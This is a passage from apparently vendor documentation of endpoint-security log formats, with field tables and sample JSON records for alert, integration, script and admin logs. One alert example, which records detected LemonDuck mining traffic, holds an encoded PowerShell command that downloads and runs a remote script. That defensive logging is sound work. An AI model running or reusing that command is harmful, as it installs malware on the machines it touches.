| save_time                |              | int64         | Save time[mgr time]       |
| host_name                |              | string        | Agent name                |
| iplist                   |              | string        | Agent ip                  |
| details [<br>{}, {}<br>] | relation     | int32         | Behavior type             |
|                          | alert_id     | string        | Alarm name                |
|                          | action_time  | int64         | Action time               |
|                          | rule_name    | string        | Rule name                 |
|                          | rule_desc    | string        | Rule description          |
|                          | attck_id     | string        | attck                     |
|                          | process_name | string        | Process name              |

|  |              |        |              |
|--|--------------|--------|--------------|
|  | process_path | string | Process path |
|  | command      | string | Command      |

### Examples:

```
[
  {
    "_id": {
      "$oid": "63ea5df9e1382371fa79559f"
    },
    "agent_id": "3815169755",
    "alert_id": "94882787-9505-49d4-9024-20DC93AF579B",
    "risk_type": 2,
    "alert_level": 4,
    "alert_describe": "Visit lemonduck Mining's communications domain",
    "match_pros": [
      "powershell.exe"
    ],
    "attck_msg": [
      {
        "attck_id": "TA0011.T1071.004",
        "count": 1
      }
    ],
    "found_time": 1676304603062,
    "save_time": 1676303865000,
    "details": [
      {
        "relation": 1,
        "alert_id": "94882787-9505-49d4-9024-20DC93AF579B",
        "action_time": 1676304603062,
        "rule_name": "Visit lemonduck Mining's communications domain",
        "rule_desc": "The process powershell.exe accesses the communication domain of lemonduck mining",
        "attck_id": "TA0011.T1071.004",
        "process_name": "powershell.exe",
        "process_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "command": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.EXE -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBjAE4AKQA="
      }
    ]
  }
]
```

```
    }  
  ],  
  "host_name": "WIN-VKGJD337IDL",  
  "iplist": "10.62.26.198"  
}  
]
```

4.11 Integration Action

|                         |                       |                     |               |                     |                                           |                                                                                                |           |
|-------------------------|-----------------------|---------------------|---------------|---------------------|-------------------------------------------|------------------------------------------------------------------------------------------------|-----------|
| Coordinated Action      |                       |                     |               |                     |                                           |                                                                                                |           |
| Device :                | All integrate devices | Type :              | All           | Time :              | 2023-12-10 00:00:00 - 2023-12-16 23:59:59 | Expand                                                                                         | Search    |
| Export to Excel Refresh |                       |                     |               |                     |                                           |                                                                                                |           |
| No.                     | Integration Time      | Device IP/Domain    | Device Type   | Endpoint IP Address | Integration Type                          | Description                                                                                    | Operation |
| 1                       | 2023-12-15 17:51:36   | 10.122.94.15        | Cyber Command |                     | Integrated device signs up                | Integrated device register: Cyber Command, account: 111, IP address: 10.122.94.15, license ... | -         |
| 2                       | 2023-12-15 17:50:11   | soc.sea.sangfor.com | MDR           |                     | SSO                                       | Integrated devices MDR (Device IP address: u.soc.sangfor.com) Users admin (Role: Super ad...   | -         |
| 3                       | 2023-12-15 17:50:03   | soc.sea.sangfor.com | MDR           |                     | Obtain Connection Key                     | Integrated device MDR (device ip: soc.sea.sangfor.com) obtains connection key successfully     | -         |
| 4                       | 2023-12-15 17:49:58   | soc.sea.sangfor.com | MDR           |                     | Integrated device signs up                | false                                                                                          | -         |

Log Type: equipment\_log

| Field                     |                         |
|---------------------------|-------------------------|
| linkage_time              | Integration Time        |
| linkage_source_plat_ip    | Device ip               |
| linkage_opr               | Integration Type        |
| linkage_source_plat       | Device type             |
| linkage_desc              | Integration description |
| linkage_agent_hostname_ip | Endpoint IP Address     |
| _id                       | ID                      |

Examples:

```
[
  {
    "_id": {
      "$oid": "62e35fefe1382370932a1a8f"
    },
    "linkage_time": 1659068399,
    "linkage_source_plat_ip": "10.62.17.200",
    "linkage_source_plat": "SIP",
    "linkage_agent_hostname_ip": "-",
    "linkage_opr": "",
    "linkage_desc":
      "EDR\u4e3b\u52a8\u4e0a\u62a5\u57fa\u7840\u4e1\u606f\u65e5\u5fd7\u0c
      \u6210\u529f\u6761\u0c \u5931\u8d25\u6761"
    }
]
```

## 4.12 Operations Logs

| Export to Excel   Refresh |                     |                  |              |                                  |               |               |
|---------------------------|---------------------|------------------|--------------|----------------------------------|---------------|---------------|
| No.                       | Time                | Endpoint         | IP Address   | OS                               | Type          | Status        |
| 1                         | 2023-12-15 17:45:30 | WIN-PH6GULK0MUHG | 10.74.37.112 | Windows Server 2019 Standard x64 | Start service | Processing... |

### Log Type: script\_log

| Field      |                       |
|------------|-----------------------|
| state      | treatment state       |
| time       | script delivery time  |
| system     | host operating system |
| iplist     | host IP address       |
| alias      | hostname              |
| state_info | status messages       |
| _id        | event ID              |

### Examples:

```
[
  {
    "_id": {
      "$oid": "63eaf115e13823045d4ffa59"
    },
    "time": 1676341523,
    "system": "Windows Server 2019 Datacenter x64",
    "iplist": "10.62.26.198",
    "alias": "WIN-VKGYD337IDL",
    "state_info": {
      "error_code": 0,
      "msg": "Executed successfully"
    },
    "type_info": {
      "name": "stop service",
      "note_info": ""
    }
  }
]
```

## 4.13 Admin Logs

| No. | Time                | Username | IP Address | Action   | Module                 | Description                                     | Result     |
|-----|---------------------|----------|------------|----------|------------------------|-------------------------------------------------|------------|
| 1   | 2023-12-15 14:09:53 | admin    | 10.5.83.18 | Log in   | Endpoint Secure Man... | Login successful                                | Successful |
| 2   | 2023-12-15 11:57:05 | admin    | 10.5.83.18 | Log in   | Endpoint Secure Man... | Login successful                                | Successful |
| 3   | 2023-12-14 19:39:58 | admin    | 10.5.83.18 | Re-check | baseline               | Re-check: 22                                    | Successful |
| 4   | 2023-12-14 17:39:30 | admin    | 10.5.83.18 | Add task | Detection and Remed... | The task (111) was added to the policy (22222). | Successful |

### Log Type: operation\_log

| Field   |                       |
|---------|-----------------------|
| module  | operand               |
| opr     | operation type        |
| ip      | operator ip           |
| user    | operating user        |
| time    | operation time        |
| desc    | operation description |
| success | operating result      |
| _id     | event ID              |

### Examples:

```
[
  {
    "_id": {
      "$oid": "63eaf0f39dc6d62db51127a2"
    },
    "module": "Remote operation and maintenance",
    "opr": "stop service",
    "ip": "10.32.36.34",
    "user": "admin",
    "time": 1676341491,
    "desc": "Successfully stop services for one terminal, such as WIN-VKGJD337IDL",
    "success": true
  }
]
```